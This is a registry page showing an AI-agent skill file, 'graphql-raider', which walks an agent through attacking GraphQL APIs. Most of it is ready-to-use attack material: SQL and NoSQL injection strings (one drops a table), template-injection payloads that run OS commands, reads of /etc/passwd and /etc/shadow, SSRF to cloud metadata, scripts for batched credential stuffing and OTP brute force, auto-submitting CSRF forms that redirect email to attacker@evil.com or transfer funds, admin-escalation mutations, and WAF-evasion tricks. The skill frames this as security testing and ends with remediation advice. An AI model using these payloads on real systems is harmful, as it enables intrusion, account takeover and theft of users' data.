agentleFS
RifteoRifteo/skills/graphql-raider/SKILL.md

graphql-raider

Skill37 starsChanged 5 months agoMITView on GitHub

Complete GraphQL security testing methodology — introspection abuse and schema enumeration, field suggestion oracle (when introspection is disabled), query depth/batching DoS, alias-based rate limit bypass, injection through arguments (SQL/NoSQL/SSTI), broken object-level and field-level authorization (IDOR via mutations), CSRF via GET mutations and content-type bypass, subscription hijacking via WebSocket, circular fragment DoS, and mass assignment via mutations. Trigger when the user finds a /graphql endpoint, sees GraphQL queries in traffic, wants to test a GraphQL API for vulnerabilities, needs to enumerate a hidden schema without introspection, wants to bypass rate limits or brute-force credentials through GraphQL, or needs to escalate privileges through mutations.

  • Deletes or force-pushes
  • Installs packages
  • Sends data out

The file

We split this skill into the rules it gives an agent

2 rules. About 0 are common, 1 is distinctive, and 1 is very specific to this project.

  • ≈0

    Common · estimate

    Many files like this have a rule of this kind.

  • ≈1

    Distinctive · estimate

    This author's own choices. Worth a look.

  • 1

    Very specific

    Tied to their project's names, files or tools. Probably skip.

  • Common
  • Distinctive
  • Very specific
  1. Distinctive:

    Start shallow, increase until server errors or slows:

    line 301
  2. Very specific:

    Look for extensions.exception.stacktrace in errors:

    line 802

≈ “Common” is an estimate: at least 1 in 5 of the 350,495 skill files we read have a rule of the same kind, not the same words. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.

Keep what fits and drop the rest. Your version, ready for your agents.
Files
SKILL.md

GraphQL Raider

GraphQL replaces REST with a single flexible endpoint where clients define exactly what they want. That power collapses the usual defense lines: one endpoint holds every operation, the schema is self-documenting, and query structure is client-controlled — making it a uniquely attack-rich surface.

Core GraphQL concepts you need:

Query     → read data           (GET equivalent)
Mutation  → write/change data   (POST/PUT/DELETE equivalent)
Subscription → real-time stream (WebSocket)
Introspection → schema self-documentation (__schema, __type)
Fragment  → reusable query piece, can be recursive
Alias     → rename a field in the response, allows duplicating queries
Directive → @include(if: bool), @skip(if: bool), @deprecated

Attack Index

#AttackImpact
1Introspection AbuseFull schema dump, hidden fields/mutations
2Field Suggestion OracleSchema recon when introspection is disabled
3Query Depth AttackDoS via infinitely nested queries
4Batching AttackRate limit bypass, credential stuffing
5Alias OverloadingRate limit bypass per-request
6Injection via ArgumentsSQLi / NoSQLi / SSTI through query args
7Broken Object-Level AuthIDOR — access other users' data
8Broken Field-Level AuthPrivilege escalation — read/write restricted fields
9CSRF via GET MutationsTrigger mutations from a victim's browser
10Information DisclosureStack traces, internal types, verbose errors
11Circular Fragment DoSRecursive fragments crash parsers
12Subscription HijackingWebSocket auth bypass, real-time data theft
13Mass Assignment via MutationsSend undocumented fields to elevate privileges
14WAF / Protection BypassEncoding, whitespace, aliases to evade controls

Phase 1 — Reconnaissance: Find & Fingerprint GraphQL

1.1 Common Endpoint Paths

/graphql
/graphql/v1
/api/graphql
/v1/graphql
/v2/graphql
/query
/gql
/graph
/api/query
/graphiql          ← in-browser IDE, huge finding on its own
/playground        ← Apollo Sandbox / GraphQL Playground
/altair
/api/explorer
# Brute-force GraphQL endpoints
ffuf -u https://target.com/FUZZ -w /usr/share/wordlists/graphql-endpoints.txt \
  -H "Content-Type: application/json" -mc 200,400 -o endpoints.json

# Check for GraphiQL IDE (unauthenticated)
curl -s https://target.com/graphiql | grep -i "graphql\|playground\|altair"

1.2 Fingerprint the Server

Send a minimal introspection ping — the error message alone identifies the stack:

curl -s -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ __typename }"}' | python3 -m json.tool
Response indicatorServer
"data": {"__typename": "Query"}GraphQL working, introspection on
"errors": [{"message": "introspection disabled"}]Hasura / Apollo with introspection off
"errors": [{"message": "Must provide query string"}]express-graphql
"errors": [{"extensions": {"code": "GRAPHQL_VALIDATION_FAILED"}}]Apollo Server
200 with HTML bodyGraphiQL IDE
# Use graphw00f to auto-fingerprint (detects 30+ GraphQL engines)
pip install graphw00f
graphw00f -d -t https://target.com/graphql

1.3 Check Authentication Requirements

# Test unauthenticated access
curl -s -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ __typename }"}'

# Test with auth header
curl -s -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer YOUR_TOKEN" \
  -d '{"query":"{ __typename }"}'

Attack 1 — Introspection Abuse

What: GraphQL's built-in schema self-documentation exposes every type, field, argument, mutation, and subscription name — equivalent to reading the entire API spec.

1.1 Full Schema Dump

query IntrospectionFull {
  __schema {
    queryType { name }
    mutationType { name }
    subscriptionType { name }
    types {
      ...FullType
    }
    directives {
      name
      description
      locations
      args { ...InputValue }
    }
  }
}

fragment FullType on __Type {
  kind
  name
  description
  fields(includeDeprecated: true) {
    name
    description
    isDeprecated
    deprecationReason
    args { ...InputValue }
    type { ...TypeRef }
  }
  inputFields { ...InputValue }
  interfaces { ...TypeRef }
  enumValues(includeDeprecated: true) { name description isDeprecated deprecationReason }
  possibleTypes { ...TypeRef }
}

fragment InputValue on __InputValue {
  name
  description
  defaultValue
  type { ...TypeRef }
}

fragment TypeRef on __Type {
  kind
  name
  ofType { kind name ofType { kind name ofType { kind name ofType { kind name } } } }
}
# Save schema dump to file
curl -s -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer TOKEN" \
  -d '{"query":"{ __schema { types { name kind fields { name type { name kind } } } } }"}' \
  | python3 -m json.tool > schema_dump.json

# Use InQL (Burp extension) to generate attack surface from schema
# Or use graphql-voyager to visualize it

1.2 Enumerate Only Mutations (Highest Priority)

query GetMutations {
  __type(name: "Mutation") {
    fields {
      name
      description
      args {
        name
        type { name kind ofType { name kind } }
      }
    }
  }
}

1.3 Enumerate All Queries

query GetQueries {
  __type(name: "Query") {
    fields {
      name
      description
      args {
        name
        type { name kind ofType { name kind } }
      }
    }
  }
}

1.4 Hunt Deprecated / Hidden Fields

Deprecated fields are often forgotten but still functional:

query HiddenFields {
  __schema {
    types {
      name
      fields(includeDeprecated: true) {
        name
        isDeprecated
        deprecationReason
      }
    }
  }
}

Look for: admin, password, token, secret, internal, debug, raw, legacy, private, bypass


Attack 2 — Field Suggestion Oracle (Introspection Disabled)

What: Most GraphQL implementations return helpful "Did you mean X?" suggestions even when introspection is disabled. By fuzzing field names and reading the error, you can reconstruct the schema.

2.1 Manual Probing

# Send a typo — server suggests the real field name
curl -s -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ usr { id } }"}'
# → "Cannot query field \"usr\". Did you mean \"user\" or \"users\"?"

curl -s -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ user { passwrd } }"}'
# → "Cannot query field \"passwrd\". Did you mean \"password\" or \"passwordHash\"?"

2.2 Automated Enumeration with Clairvoyance

# Clairvoyance reconstructs schema from field suggestions
pip install clairvoyance
clairvoyance -u https://target.com/graphql \
  -H "Authorization: Bearer TOKEN" \
  -w /usr/share/wordlists/graphql-fields.txt \
  -o schema_recovered.json

# Then generate attack queries from recovered schema
python3 -c "
import json
schema = json.load(open('schema_recovered.json'))
for t in schema.get('types', []):
    if t.get('fields'):
        print(t['name'], [f['name'] for f in t['fields']])
"

2.3 Wordlist for Field Fuzzing

High-value field names to probe for:

id, userId, adminId, role, isAdmin, isSuperAdmin, permissions, token, apiKey,
password, passwordHash, secret, internalNote, adminNote, rawData, debugInfo,
creditCard, ssn, email, phone, address, dob, resetToken, verifyToken,
twoFactorSecret, backupCode, sessionToken, accessToken, refreshToken

Attack 3 — Query Depth Attack (DoS)

What: GraphQL allows arbitrarily nested queries. Without a depth limit, a single request can force exponential server-side resolution work.

3.1 Detect Maximum Depth

Start shallow, increase until server errors or slows:

# Depth 5
curl -s -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ user { friends { friends { friends { friends { id } } } } } }"}'

# Depth 10+ — server should reject or slow
curl -s -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ a: user { b: friends { c: friends { d: friends { e: friends { f: friends { g: friends { h: friends { i: friends { j: friends { id } } } } } } } } } } }"}'

3.2 Exponential Query (Maximum Blast)

# N-level nesting — every level multiplies the work
{
  user {
    friends {
      friends {
        friends {
          friends {
            friends {
              friends {
                friends {
                  friends {
                    id name email
                  }
                }
              }
            }
          }
        }
      }
    }
  }
}

Evidence: measure response time at depth 3, 5, 8, 12. Linear vs exponential growth confirms no depth limit.

3.3 Introspection Depth Bomb

{
  __type(name: "Query") {
    fields {
      type {
        fields {
          type {
            fields {
              type {
                fields {
                  type { name }
                }
              }
            }
          }
        }
      }
    }
  }
}

Attack 4 — Batching Attacks (Rate Limit Bypass)

What: GraphQL supports sending multiple operations in one HTTP request as a JSON array. Most rate limiters count HTTP requests, not operations — so 100 operations in 1 request costs only 1 rate limit token.

4.1 Confirm Batching is Enabled

curl -s -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '[{"query":"{ __typename }"},{"query":"{ __typename }"}]'
# If response is an array → batching enabled

4.2 Credential Stuffing via Batching

# 100 login attempts in 1 HTTP request
import json

batch = [
    {
        "query": """
        mutation Login($email: String!, $password: String!) {
          login(email: $email, password: $password) {
            token
            user { id role }
          }
        }
        """,
        "variables": {"email": f"user{i}@target.com", "password": "Password123!"}
    }
    for i in range(100)
]

print(json.dumps(batch, indent=2))
python3 scripts/graphql_raider.py --url https://target.com/graphql \
  --mode batch-bruteforce \
  --email-list emails.txt \
  --password-list passwords.txt \
  --batch-size 50

4.3 OTP / 2FA Bypass via Batching

batch = [
    {
        "query": "mutation { verifyOTP(code: \"%s\") { token } }" % str(i).zfill(6)
    }
    for i in range(10000)  # all OTP codes in 200 requests
]

4.4 Email Enumeration via Batching

batch = [
    {"query": 'query { userByEmail(email: "%s") { id } }' % email}
    for email in open("emails.txt").read().splitlines()
]

Attack 5 — Alias Overloading (Rate Limit Bypass)

What: GraphQL aliases let you run the same query multiple times in one request under different names. Unlike batching, this works even when batch mode is disabled — and is harder to detect.

5.1 Basic Alias Attack

{
  a1: login(email: "user@target.com", password: "pass1") { token }
  a2: login(email: "user@target.com", password: "pass2") { token }
  a3: login(email: "user@target.com", password: "pass3") { token }
  a4: login(email: "user@target.com", password: "pass4") { token }
  a5: login(email: "user@target.com", password: "pass5") { token }
  # ... continue to 100+
}

5.2 Generate Alias Payload

passwords = open("common-passwords.txt").read().splitlines()[:200]
aliases = "\n".join(
    f'  a{i}: login(email: "admin@target.com", password: "{p}") {{ token user {{ role }} }}'
    for i, p in enumerate(passwords)
)
query = "{\n" + aliases + "\n}"
print(query)

5.3 Alias + Introspection (enumeration at scale)

{
  t1: __type(name: "User") { fields { name } }
  t2: __type(name: "Admin") { fields { name } }
  t3: __type(name: "Order") { fields { name } }
  t4: __type(name: "Payment") { fields { name } }
  t5: __type(name: "InternalUser") { fields { name } }
}

Attack 6 — Injection via Arguments

GraphQL arguments pass directly to resolvers which often call databases or template engines.

6.1 SQL Injection

# Classic SQLi in a string argument
{ user(id: "1 OR 1=1--") { id name email } }
{ user(id: "1' UNION SELECT username,password,3 FROM users--") { id name email } }
{ users(filter: "1=1; DROP TABLE users--") { id } }

# Time-based blind SQLi (MySQL)
{ user(id: "1 AND SLEEP(5)--") { id } }

# Time-based blind SQLi (PostgreSQL)
{ user(id: "1; SELECT pg_sleep(5)--") { id } }

# Boolean-based blind
{ user(email: "admin@target.com' AND '1'='1") { id } }
{ user(email: "admin@target.com' AND '1'='2") { id } }
# SQLMap through GraphQL
sqlmap -u "https://target.com/graphql" \
  --data='{"query":"{ user(id: \"*\") { id name } }"}' \
  --dbms=mysql \
  --level=5 --risk=3 \
  --headers="Authorization: Bearer TOKEN"

6.2 NoSQL Injection (MongoDB)

# Operator injection
{ user(email: {$gt: ""}) { id name email password } }
{ users(filter: {role: {$ne: "user"}}) { id name role } }
{ login(email: "admin", password: {$gt: ""}) { token } }

# Regex injection
{ user(email: {$regex: ".*"}) { id email password } }
{ user(email: {$regex: "^admin"}) { id role } }

# JSON injection via string argument
{ user(filter: "{\"$where\":\"this.role=='admin'\"}") { id } }

6.3 SSTI (Server-Side Template Injection)

# Test if arguments are rendered through a template engine
{ report(template: "{{7*7}}") { content } }
{ report(template: "${7*7}") { content } }
{ report(template: "<%= 7*7 %>") { content } }

# RCE escalation (if Jinja2 / Twig / Freemarker)
{ report(template: "{{config.__class__.__init__.__globals__['os'].popen('id').read()}}") { content } }
{ report(template: "${T(java.lang.Runtime).getRuntime().exec('id')}") { content } }

6.4 Path Traversal via File Arguments

{ readFile(path: "../../../../etc/passwd") { content } }
{ exportReport(filename: "../../../etc/shadow") { url } }
{ loadTemplate(name: "../../config/database.yml") { content } }

6.5 SSRF via URL Arguments

{ fetchUrl(url: "http://169.254.169.254/latest/meta-data/") { response } }
{ generatePDF(url: "http://internal-service:8080/admin") { file } }
{ importData(source: "file:///etc/passwd") { rows } }

Attack 7 — Broken Object-Level Authorization (IDOR)

What: GraphQL resolvers that take an id argument may not verify the requesting user owns that resource. Change the ID to access other users' data.

7.1 IDOR in Queries

# Authenticated as user 42 — try fetching user 1 (admin)
query {
  user(id: 1) {
    id
    email
    role
    isAdmin
    password
    apiKey
    creditCards { number expiry cvv }
  }
}

# Fetch all users (missing authorization check)
query {
  users { id email role isAdmin }
}

# Access another user's private data
query {
  order(id: 9999) {
    id
    userId
    items { name price }
    paymentMethod { last4 }
  }
}

7.2 IDOR in Mutations

# Change another user's email
mutation {
  updateUser(id: 1, email: "attacker@evil.com") {
    id email
  }
}

# Delete another user's data
mutation {
  deletePost(id: 1337) { success }
}

# Transfer ownership to attacker account
mutation {
  transferOwnership(resourceId: 50, newOwnerId: 99) { success }
}

7.3 Enumerate IDs Systematically

# Use aliases to check IDs in bulk
{
  u1: user(id: 1) { id email role }
  u2: user(id: 2) { id email role }
  u3: user(id: 3) { id email role }
  # ... up to 100 in one request
}
python3 scripts/graphql_raider.py --url https://target.com/graphql \
  --mode idor-scan \
  --token "Bearer YOUR_TOKEN" \
  --query "{ user(id: ID_PLACEHOLDER) { id email role isAdmin } }" \
  --id-range 1-500

7.4 UUID / Non-Sequential IDOR

# UUIDs can be leaked via other queries — harvest from one endpoint, use in another
query {
  myPosts { id }          # leaks other UUIDs referenced in your posts
  comments { authorId }  # leaks other user UUIDs
}

Attack 8 — Broken Field-Level Authorization (Privilege Escalation)

What: The server may expose admin-only or sensitive fields to regular users. The schema knows they exist — but authorization may not be enforced per-field.

8.1 Read Restricted Fields as Low-Privilege User

# Try reading admin/privileged fields
query {
  me {
    id
    email
    role          # might return "admin" or "user"
    isAdmin       # boolean flag
    permissions   # array of allowed actions
    apiKey        # secret key
    twoFactorSecret
    passwordHash
    internalNotes
    auditLog { action timestamp }
    billingDetails { plan invoices { amount } }
  }
}

# Try reading other user's restricted fields
query {
  user(id: 5) {
    email
    passwordHash
    role
    isAdmin
    apiKey
    resetToken
  }
}

8.2 Escalate Role via Mutation

# Try setting your own role to admin
mutation {
  updateMe(role: "admin") {
    id role isAdmin
  }
}

# Try updating role through undocumented field
mutation {
  updateUser(id: YOUR_ID, input: { role: "admin", isAdmin: true }) {
    id role isAdmin
  }
}

# Try bypassing field-level auth with alias
mutation {
  r: updateUser(id: YOUR_ID, role: "admin") { role }
}

8.3 Admin Query Exposure

# Query mutation type to find admin-only mutations
query {
  __type(name: "Mutation") {
    fields {
      name
      args { name type { name } }
    }
  }
}

# Call admin mutations as regular user
mutation {
  adminDeleteUser(id: 1) { success }
  adminResetPassword(userId: 1, newPassword: "hacked") { success }
  grantAdminRole(userId: YOUR_ID) { success }
}

Attack 9 — CSRF via GET Mutations

What: Some GraphQL servers allow mutations over GET requests. Combined with a missing CSRF token check, an attacker can trigger mutations by tricking a victim into clicking a link.

9.1 Test GET-Based Mutation

# Check if mutations work over GET (should be rejected but often aren't)
curl -s -G https://target.com/graphql \
  --data-urlencode 'query=mutation { deleteAccount(id: 5) { success } }'

# If 200 → Critical CSRF

9.2 Content-Type CSRF Bypass

<!-- HTML form CSRF — browser sends application/x-www-form-urlencoded -->
<!-- Some GraphQL servers accept this instead of requiring application/json -->
<form method="POST" action="https://target.com/graphql">
  <input name="query" value='mutation { updateEmail(email: "attacker@evil.com") { success } }'>
  <input type="submit">
</form>

<!-- Auto-submit version (embed in iframe) -->
<form id="x" method="POST" action="https://target.com/graphql">
  <input name="query" value='mutation { transferFunds(to: "attacker", amount: 1000) { success } }'>
</form>
<script>document.getElementById('x').submit()</script>

9.3 multipart/form-data CSRF

<form method="POST" action="https://target.com/graphql" enctype="multipart/form-data">
  <input name="operations" value='{"query":"mutation { deleteAccount { success } }"}'>
  <input name="map" value="{}">
</form>

9.4 Check CORS Misconfiguration + GraphQL

# If CORS is misconfigured, a cross-origin page can make credentialed POST requests
curl -s -X POST https://target.com/graphql \
  -H "Origin: https://attacker.com" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer VICTIM_TOKEN" \
  -d '{"query":"mutation { updateEmail(email: \"attacker@evil.com\") { success } }"}' \
  -v 2>&1 | grep -i "access-control"

Attack 10 — Information Disclosure & Error Leakage

10.1 Force Verbose Errors

# Trigger type mismatch errors — server often leaks internal details
{ user(id: "NOT_A_NUMBER") { id } }
{ user(id: null) { id } }
{ user(id: [1,2,3]) { id } }
{ user(id: {"$gt": 0}) { id } }

# Trigger resolver errors
{ user(id: 99999999) { nonExistentField } }

10.2 Stack Trace Extraction

Look for extensions.exception.stacktrace in errors:

{
  "errors": [{
    "message": "Cannot read property 'id' of undefined",
    "extensions": {
      "code": "INTERNAL_SERVER_ERROR",
      "exception": {
        "stacktrace": [
          "TypeError: Cannot read property 'id' of undefined",
          "    at UserResolver.findUser (/app/src/resolvers/user.js:42:18)",
          "    at Object.<anonymous> (/app/node_modules/apollo-server/src/requestPipeline.js:..."
        ]
      }
    }
  }]
}

What this leaks: file paths, framework versions, internal variable names, database query structure.

10.3 Introspection When Disabled — Debug Endpoints

# Some engines have a debug/development endpoint
curl -s https://target.com/graphql-dev
curl -s https://target.com/graphql?debug=true
curl -s https://target.com/_graphql
curl -s https://target.com/graphql/schema    # may serve SDL schema file

# Apollo Sandbox (may be open externally)
curl -s https://studio.apollographql.com/sandbox -d "endpoint=https://target.com/graphql"

10.4 SDL Schema Exposure

curl -s https://target.com/graphql/schema.graphql
curl -s https://target.com/graphql/schema.json
curl -s https://target.com/schema.graphql

Attack 11 — Circular Fragment DoS

What: GraphQL fragments can reference each other circularly. The spec requires servers to detect this, but some parsers crash or hang before the cycle check.

11.1 Basic Fragment Cycle

fragment UserFields on User {
  friends {
    ...UserFields
  }
}

query {
  user(id: 1) {
    ...UserFields
  }
}

11.2 Indirect Cycle (Harder to Detect)

fragment A on User {
  friends { ...B }
}

fragment B on User {
  followers { ...C }
}

fragment C on User {
  mutualFriends { ...A }
}

query {
  user(id: 1) { ...A }
}

11.3 Width + Depth Combined (Resource Exhaustion)

query {
  u1: user(id:1) { ...F }
  u2: user(id:2) { ...F }
  u3: user(id:3) { ...F }
  # ... 50 aliases
}

fragment F on User {
  friends { friends { friends { friends { id email name } } } }
}

Attack 12 — Subscription Hijacking (WebSocket)

What: GraphQL subscriptions run over WebSocket. Authentication is often only checked at the HTTP upgrade request, or not at all. Real-time data from other users may be accessible.

12.1 Connect to Subscription Endpoint

// Browser DevTools console — connect to GraphQL subscription
const ws = new WebSocket('wss://target.com/graphql', 'graphql-ws');

ws.onopen = () => {
  // Handshake
  ws.send(JSON.stringify({ type: 'connection_init', payload: { Authorization: 'Bearer YOUR_TOKEN' } }));
};

ws.onmessage = (msg) => {
  const data = JSON.parse(msg.data);
  if (data.type === 'connection_ack') {
    // Subscribe to another user's events
    ws.send(JSON.stringify({
      id: '1',
      type: 'subscribe',
      payload: {
        query: `subscription { messageReceived(userId: 1) { id content sender { email } } }`
      }
    }));
  }
  console.log('Received:', JSON.stringify(data, null, 2));
};

12.2 Test Missing Authentication on Subscribe

# Connect without auth token — should be rejected
wscat -c wss://target.com/graphql \
  --subprotocol graphql-ws \
  -x '{"type":"connection_init","payload":{}}'

# Then subscribe without valid auth:
-x '{"id":"1","type":"subscribe","payload":{"query":"subscription { allUserMessages { id content user { email } } }"}}'

12.3 IDOR via Subscription

# Subscribe to another user's notifications, orders, messages
subscription {
  orderUpdated(userId: 1) {
    id status paymentMethod { last4 }
  }
}

subscription {
  messageReceived(channelId: 999) {
    content author { email role }
  }
}

Attack 13 — Mass Assignment via Mutations

What: Mutations accept an input object. If the resolver blindly maps all provided fields to a database update, attackers can set fields never intended to be user-controlled (role, isAdmin, credit).

13.1 Add Undocumented Fields to Input

mutation {
  updateProfile(input: {
    name: "Alice"
    bio: "normal user"
    role: "admin"          # undocumented — try it anyway
    isAdmin: true          # boolean escalation
    credits: 999999        # free credits
    emailVerified: true    # skip email verification
    subscription: "enterprise"
  }) {
    id role isAdmin credits subscription
  }
}

13.2 Type Coercion Tricks

# Integer field accepting string
mutation {
  updateUser(id: 1, credits: "99999") { credits }
}

# Null injection
mutation {
  updateUser(id: 1, passwordHash: null) { id }
}

# Array injection
mutation {
  updateUser(id: 1, roles: ["user", "admin"]) { roles }
}

13.3 Nested Object Mass Assignment

mutation {
  createOrder(input: {
    items: [{ productId: 1, quantity: 1 }]
    payment: {
      method: "card"
      amount: 0.00    # override actual price
      currency: "USD"
    }
    user: {
      id: 1            # impersonate another user
    }
  }) {
    id total status
  }
}

Attack 14 — WAF / Protection Bypass

14.1 Encoding Techniques

# URL-encode the entire query body
curl -X POST https://target.com/graphql \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-urlencode 'query={ user(id: 1) { email role } }'

# Unicode escaping in string arguments
{ user(id: "1") { id } }

# Inline fragment to avoid keyword detection
{ ... on Query { user(id: 1) { role } } }

14.2 Whitespace / Newline Obfuscation

# Line breaks in unexpected places
{
  user(id:
    1
  ) {
    email
    role
  }
}

# Zero-width spaces (Unicode) in field names
{ ​user​ { ​id​ } }

14.3 Alias Obfuscation

# Hide sensitive mutations behind innocent-looking aliases
{
  getData: deleteAccount(id: 1) { success }
  fetchInfo: grantAdmin(userId: 99) { role }
}

14.4 Fragment Obfuscation

fragment d on User { role isAdmin apiKey }
fragment c on User { ...d email }
fragment b on User { ...c id }

query { me { ...b } }

14.5 POST → GET Conversion (Bypass POST-only WAF Rules)

# Some WAFs only inspect POST body — GET passes through
curl -G https://target.com/graphql \
  --data-urlencode 'query={ user(id: 1) { role passwordHash } }'

Quick Recon Checklist

# 1. Detect GraphQL & fingerprint engine
graphw00f -d -t https://target.com/graphql

# 2. Dump schema (introspection on)
python3 scripts/graphql_raider.py --url https://target.com/graphql \
  --token "Bearer TOKEN" --mode introspect -o schema.json

# 3. Field suggestion recon (introspection off)
clairvoyance -u https://target.com/graphql \
  -H "Authorization: Bearer TOKEN" \
  -w /wordlists/graphql-fields.txt -o recovered.json

# 4. Check batching
curl -s -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '[{"query":"{ __typename }"},{"query":"{ __typename }"}]' | head -5

# 5. Test GET mutations (CSRF)
curl -sG https://target.com/graphql \
  --data-urlencode 'query=mutation { __typename }'

# 6. Check GraphiQL IDE (unauthenticated)
curl -s https://target.com/graphiql | grep -i "graphql\|introspection"

# 7. Depth limit test
python3 scripts/graphql_raider.py --url https://target.com/graphql \
  --mode depth-test --token "Bearer TOKEN"

# 8. IDOR scan across IDs
python3 scripts/graphql_raider.py --url https://target.com/graphql \
  --mode idor-scan --token "Bearer TOKEN" \
  --query '{ user(id: ID_PLACEHOLDER) { id email role isAdmin } }' \
  --id-range 1-200

Report Structure

Title: [GraphQL Attack Type] on [endpoint] — [impact]

Severity: [Critical / High / Medium / Low]

Affected endpoint: POST https://target.com/graphql

Vulnerability: [e.g., "Missing depth limit allows unauthenticated DoS" /
"Introspection enabled leaks full schema including admin mutations" /
"IDOR in user() query — regular user reads any user's passwordHash"]

Steps to reproduce:
1. Send the following GraphQL request:
   [EXACT HTTP REQUEST — headers + body]
2. Observe response: [EXACT RELEVANT PORTION OF RESPONSE]
3. Confirm: [what the response proves]

Impact:
- [Concrete consequence: "Attacker can read any user's password hash" /
  "50 login attempts per HTTP request bypasses rate limiting" /
  "Any authenticated user can elevate role to admin in one mutation"]

Evidence:
- Request: [HTTP request]
- Response: [redacted response proving the finding]

Remediation:
- [Per finding — see individual attack sections above]
- Disable introspection in production
- Implement query depth limiting (max 5-7 levels)
- Disable query batching or enforce per-operation rate limiting
- Validate authorization on every resolver, not just the route
- Reject GET-based mutations; require Content-Type: application/json
- Suppress stack traces and verbose errors in production

Scripts

scripts/graphql_raider.py

Requires: pip3 install requests websockets

# Introspection dump
python3 scripts/graphql_raider.py --url https://target.com/graphql \
  --token "Bearer eyJ..." \
  --mode introspect \
  -o schema.json

# IDOR scan across user IDs
python3 scripts/graphql_raider.py --url https://target.com/graphql \
  --token "Bearer eyJ..." \
  --mode idor-scan \
  --query '{ user(id: ID_PLACEHOLDER) { id email role isAdmin } }' \
  --id-range 1-500 \
  -o idor_findings.json

# Batch brute-force login
python3 scripts/graphql_raider.py --url https://target.com/graphql \
  --mode batch-bruteforce \
  --email admin@target.com \
  --password-list /wordlists/top1000.txt \
  --batch-size 50

# Depth DoS test
python3 scripts/graphql_raider.py --url https://target.com/graphql \
  --token "Bearer eyJ..." \
  --mode depth-test \
  --query-field "user { friends" \
  --max-depth 20

# Full automated scan
python3 scripts/graphql_raider.py --url https://target.com/graphql \
  --token "Bearer eyJ..." \
  --mode full \
  -o report.json

Reference Files

  • references/graphql-payloads.md — injection, IDOR, batching, and depth payloads ready to copy
  • references/tools.md — InQL, graphw00f, clairvoyance, Altair, graphql-cop usage

Download now (ZIP)

Does it work?

Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.

No reviews yet

People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.

  • It worked
  • Partly
  • It didn't
What did you use it for? e.g. Reviewing pull requests in a Rails app

Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.

Your trail

Files you open will collect here, so you can find them again.

Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.

Now do this for your own.

Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.